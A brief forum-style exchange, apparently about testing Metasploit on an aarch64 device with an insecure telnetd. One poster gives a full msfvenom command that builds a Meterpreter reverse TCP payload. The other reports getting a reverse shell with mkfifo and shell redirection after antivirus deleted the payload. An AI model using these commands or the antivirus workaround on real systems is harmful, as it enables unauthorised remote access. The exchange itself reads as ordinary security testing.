insecure telnetd :trollface:

[timwr]

Have you tried replacing telnetd with meterpreter or a reverse shell?
msfvenom -p linux/aarch64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o met

[polygraphene]

Now we have reverse shell! 🎉

Unfortunately, the output from msfvenom was removed by antivirus.
I used shell redirect and mkfifo.